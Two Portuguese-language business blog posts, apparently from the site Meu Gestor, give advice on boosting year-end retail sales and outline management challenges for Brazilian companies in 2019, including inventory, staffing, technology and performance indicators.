Portanto, o primeiro passo é identificar se suas vendas tendem a aumentar ou a diminuir neste período de final de ano.
Fonte: Fundação Bradesco
Estabelecer metas para a empresa como um todo, ao longo da sua existência é o que faz com que ela avance e percorra um caminho de resultados positivos. Para o fim do ano não é diferente. Ao estabelecer a meta define-se um horizonte a ser seguido.
O segundo passo então é definir uma meta de vendas para aumentar as vendas de fim de ano. Neste texto te explico tudo sobre como definir uma metas para sua empresa. Mas, neste momento, é importante definir uma “meta diferente”. Sabendo que o período de comemorações do final de ano aquece as vendas na sua empresa é preciso estabelecer uma meta mais alta que nos demais meses.
Uma ótima maneira de começar é olhando para o que já aconteceu no período passado do seu negócio: como foram as vendas, quais foram as margens, quais produtos saíram mais, quais tipos de mídia foram utilizadas na divulgação, quais ações deram mais resultados, quantos clientes novos foram adquiridos.
É importante também olhar para o mercado: quais as previsões de crescimento ou redução de consumo para o ano? Quais as expectativas de preço médio? Qual será a performance esperada para o setor que sua empresa atua? Enfim, todas as informações que possam lhe ajudar em uma análise ou tomada de decisão.
DICA QUENTE: Uma ótima fonte de dados para isso é o CDL local, ele pode fornecer informações valiosas sobre o seu mercado.
Com essas informações em mãos está na hora de definir as suas metas!
Um ponto muito importante para se avaliar nesse período é a margem do negócio, pois mesmo com a alta das vendas se sua margem cair, a quantidade percentual de capital que vai sobrar para a empresa será menor, apesar de poder ser maior em volume. Isso quer dizer que você pode estar sub-aproveitando o potencial do momento de gerar mais capital para você e seu negócio!
Quantas vezes um cliente entrou em uma loja e saiu sem comprar nada porque não encontrou o produto que procurava? Inúmeras!!
Você, certamente, não quer que isso aconteça no seu negócio, certo? É preciso então entender o seu volume de vendas necessário neste período. Você consegue isso através do Passo 2: Estabelecer meta para aumentar as vendas de fim de ano. Outra atitude que contribui é organizar o mix de produtos, mantendo os estoques sempre abastecidos. Porém muito cuidado para que não gere excessos, uma vez que, estoque em excesso gera fluxo de caixa retido.
Para facilitar o seu controle de estoque recomendamos a utilização da Análise de Pareto, através da curva ABC. Se você não conhece a curva ABC nós te ajudamos, confira aqui.
Em muitos casos é normal que itens de estoque se acumulem ao longo do ano, em função de vendas não realizadas. Este estoque, no entanto, pode não ser adequado para as vendas de fim de ano, além de estar ocupando o espaço físico e os recursos financeiros que poderiam ser direcionados para suas vendas de fim de ano.
É fundamental que este estoque seja reduzido através da intensificação do trabalho de vendas ou promoções que ajudem a recuperar os recursos financeiros do seu negócio.
Importante! Não deposite, em um estoque parado há muito tempo, as esperanças de vendas lucrativas.
Você provavelmente vai se frustrar. Mais vale recuperar uma parte significativa dos seus recursos financeiros e utilizá-los na aquisição de novos produtos, otimizando suas chances de lucro no fim do ano.
Cada fornecedor trabalha com um prazo de entrega distinto. É preciso identificar com precisão o prazo de entrega praticado por cada fornecedor e colocar os pedidos no momento certo. Somente esta programação irá garantir que suas mercadorias estarão disponíveis quando seus clientes iniciarem suas compras.
Não basta saber quando as mercadorias serão entregues. É preciso controlar as entregas junto ao fornecedor para evitar a todo custo os possíveis atrasos. Uma vez que as mercadorias sejam entregues, é necessário conferir se o que foi entregue corresponde exatamente ao que foi solicitado.
Afinal, esta verificação evita devoluções, atrasos e retrabalhos desnecessários no seu planejamento.
Sabemos que nessa época do ano o índice de contratação de funcionários é alto. Mas como garantir que estes cumpram o padrão de qualidade que a empresa exige?
Importante! Um cliente mal atendido pode nunca mais voltar no estabelecimento e – ainda – ser uma referência negativa do seu negócio.
O momento é importante para o varejo, mas se não tiver cliente o restante do ano não tem capital de giro que aguente.
Comece planejando suas contratações de fim de ano: defina o perfil ideal, contrate pessoas com esse perfil, dedique um período para apresentação da empresa, da cultura e valores, converse e entenda o perfil de cada um e seus objetivos, alinhe com os do negócio e os treine na função que vão executar.
Isso vai fazer uma diferença brutal na sua taxa de conversão, aquisição de novos clientes, e lucratividade.
A venda nesse momento é o grande objetivo!
Porém, melhor será que ela aconteça sempre, ou seja, que o cliente seja fidelizado.
Para isso, atente-se para cumprimento de prazos de entrega, e no suporte pós venda: caso o produto adquirido apresente algum problema, se empenhar ao máximo para resolvê-lo eficiente e rapidamente.
Bom, aqui foram algumas dicas de como se preparar melhor para aumentar as vendas de fim de ano na sua empresa. Se você está se sentindo um pouco perdido ou tem alguma dúvida, fale com um de nossos especialistas, ou até mesmo deixe um comentário.
Teremos o prazer em ajudá-lo a se preparar para conquistar o mercado no final de ano e começar o próximo com resultados positivos!
O post Como Aumentar as Vendas de Fim de Ano na sua Empresa apareceu primeiro em Meu Gestor.
]]>O post Os principais desafios para as empresas em 2019 apareceu primeiro em Meu Gestor.
]]>Muitas empresas já estão concluindo seu planejamento para 2019, definindo suas estratégias para retomar o crescimento ou, no mínimo, retomar a lucratividade, como é o caso de muitos negócios que enfrentaram sérias restrições financeiras em 2018. Neste artigo vamos abordar alguns dos principais desafios para as empresas em 2019, identificando algumas iniciativas para melhorar os resultados.
Projeções do Banco Central e de bancos privados brasileiros indicam crescimento entre 2% e 2,5% para a economia brasileira em 2019. Após as eleições, assuntos importantes como a reforma da previdência e a reforma tributária devem ocupar boa parte da pauta política no primeiro semestre de 2019. Além destas, são também esperadas medidas de corte de gastos no setor público, o que pode reduzir a pressão sobre o orçamento do governo e contribuir para a redução da carga tributária.
No cenário externo, a maior economia mundial, os EUA, tende a aumentar sua taxa de juros em ritmo mais controlado, o que pode contribuir para manter o ritmo de crescimento. Por outro lado, a guerra comercial com a China e a saída do Reino Unido da União Europeia podem prejudicar a demanda sobre as exportações brasileiras.
Neste cenário, ainda de muita incerteza, é importante que sejam priorizadas medidas alinhadas com a manutenção da lucratividade do negócio, mesmo que isso signifique reduzir o ritmo de crescimento no curto prazo. Medidas voltadas para o crescimento acelerado exigem recursos financeiros e, a não ser que sua empresa tenha recursos disponíveis, a obtenção de crédito ainda enfrenta custos muito altos, o que aumenta o risco de empréstimos para investir em novas frentes.
Ou seja, teremos inúmeros desafios para as empresas em 2019.
Muitas foram as empresas que em 2018 viram seu faturamento cair, por diversos motivos. Em vários mercados a guerra de preços foi inevitável, como medida de sobrevivência, o que reduziu muito a margem em diversos segmentos. Neste momento, é fundamental que sua empresa saiba identificar em qual produto e em qual mercado ela é mais forte, podendo se diferenciar em qualidade. Isto favorece a lucratividade do negócio e evita a concorrência em preço com outros negócios que, muitas vezes, não competem em nível de igualdade. É preciso saber comunicar este valor ao cliente, envolvendo toda a equipe na agregação e na comunicação deste valor no decorrer dos processos do negócio.
Se sua empresa ainda não teve a chance de reavaliar a variedade de produtos e serviços que oferece ao mercado, talvez agora esta medida seja inevitável. O objetivo é identificar quais produtos e serviços são de fato demandados e se alinham com o que a empresa tem de mais forte.
Se nesse período sua empresa acumulou estoques de produtos com baixa demanda, este já não é mais o momento de pensar em preço: já geraram prejuízo para o seu negócio e seu valor atual é basicamente financeiro, ou seja, precisam ser convertidos em caixa novamente o quanto antes. O ideal é programar campanhas de vendas que reduzam ou eliminem estes estoques, liberando recursos para novos produtos e serviços em 2019. Em alguns casos podem ser necessárias medidas menos drásticas, que alterem a apresentação do produto, agregando mais qualidade ao processo de venda e entrega.
O dinamismo de muitos mercados às vezes inviabiliza que o empresário conheça sua carteira de clientes. É preciso conhecê-la e identificar como sua empresa agrega valor para os mais frequentes e os mais fiéis. Sua carteira atual de clientes é a fonte mais barata para conquistar novas vendas, pois eles já conhecem seu negócio.
É importante manter um contato próximo e constante com os melhores clientes, assim como é importante saber os limites do seu negócio: em alguns casos, pode não ser lucrativo e nem sustentável atender alguns pedidos. Esta medida também favorece sua Política de Crédito e Cobrança, na medida em que reduz as incertezas do relacionamento comercial.
A tecnologia de suporte aos negócios vem se aperfeiçoando em velocidade cada vez maior. Muitas empresas do varejo estão perdendo vendas, principalmente, para a internet. Entrar no mercado virtual não significa apenas ter um website; é preciso investir nos canais de comunicação com o cliente (e-mail, chat, mídias sociais), identificando aquele que seu mercado mais utiliza.
Internamente, a integração dos processos através do uso de sistemas ERP (Enterprise Resource Planning) viabiliza mais agilidade e segurança em toda a cadeia de valor, permitindo que os pedidos sejam gerenciados até o recebimento, após o faturamento. Ou seja, mais segurança no gerenciamento das informações e menos possibilidade de erros ao longo do processo.
E como tempo é dinheiro, a velocidade dos processos exige soluções rápidas e de baixo custo. Hoje em dia já é possível ter o auxílio de diversos especialistas externos à empresa, de forma online, com a utilização de tecnologias de vídeo conferência. Além de não pressionarem os custos da empresa, estes serviços podem ser uma ótima forma de resolver problemas recorrentes e contribuir de forma significativa e rápida para os resultados da empresa.
Caso a recuperação da economia se concretize no patamar esperado, a demanda por seus produtos e serviços deve subir. É importante garantir que os processos internos estejam bem definidos e formalizados, sendo realizados pela equipe de forma estável e gerando os resultados planejados. A definição da carteira de produtos e serviços é fundamental para este desafio: uma variedade ampla demais dificulta e pode até inviabilizar a estabilização dos processos.
Uma medida simples, mas eficaz de comunicação, deve ser adotada: defina com a equipe de forma clara todas as principais etapas dos processos e detalhe os resultados esperados em cada etapa. Estas informações precisam ser conhecidas por toda a equipe e devem estar disponíveis para consulta a todo tempo.
Com o reaquecimento do mercado, é provável que o mercado de trabalho também se reaqueça. É preciso investir na formação da equipe, com novos treinamentos, definição de salários e pacotes de benefícios competitivos!
Além de medidas de integração e a estruturação de um plano de carreira alinhado com os objetivos da empresa e atraente para os profissionais.
Boa parte do conhecimento da empresa a respeito do dia a dia da operação está com a equipe.
É preciso auxiliá-los na organização destas informações e com o fornecimento de ferramentas adequadas para que consigam desempenhar um trabalho satisfatório, alinhado com os critérios de qualidade que a empresa vai defender junto ao mercado.
Se sua empresa ainda não garante a segurança das informações internas e dos clientes, é melhor agir o quanto antes.
Tem sido cada vez mais frequentes os episódios de ataques cibernéticos!Desde o roubo de informações simples, até o sequestro de informações financeiras, de clientes e a interferência em processos mais automatizados.
Existem medidas eficazes na proteção da empresa, mas é preciso um monitoramento constante e que deve ser mais demandado em 2019.
Terão mais resultados as empresas que monitorarem os resultados com regularidade e de forma estruturada
Em um ambiente tão dinâmico como o que as empresas vêm trabalhando, é muito arriscado deixar de avaliar os resultados alcançados. Empresas que se apoiam somente em dados de faturamento e impostos são como motoristas que dirigem contando apenas com o retrovisor. É preciso conhecer e monitorar no detalhe as informações financeiras e operacionais do negócio: dados do processo de vendas, margens, produção, % de eficiência nas etapas do processos, perdas, custos totais e unitários, despesas, ciclo de conversão de caixa, % de inadimplência, dentre outros.
Então, estes dados precisam ser avaliados com uma frequência pelo menos mensal. Quanto mais rápido o acesso a estas informações, mais eficaz se torna a correção de qualquer desvio, o que aumenta a chance de bons resultados. Estas avaliações precisam envolver a equipe diretamente responsável e sua liderança, garantindo o alinhamento e o engajamento de todos com os objetivos da empresa.
São grandes os desafios das empresas para 2019. De uma forma geral, é possível dizer que 2019 vai exigir que as empresas sejam mais enxutas, rápidas e eficazes!
Entregando produtos e serviços de qualidade no mercado em que elas são fortes.
Mais do que recursos financeiros, muitos dos desafios das empresas em 2019 exigem o investimento de tempo, comunicações constantes com a equipe, discussões bem estruturadas com base em indicadores, planos de ação e suportadas por sistemas capazes de fornecer as informações necessárias.
Enfim, para garantir que este investimento seja produtivo e produza os resultados no tempo certo…
Você pode contar com profissionais especializados nos processos que compõem sua cadeia de valor! Garantindo a implantação de indicadores e rotinas de gestão adequados ao seu negócio!
O post Os principais desafios para as empresas em 2019 apareceu primeiro em Meu Gestor.
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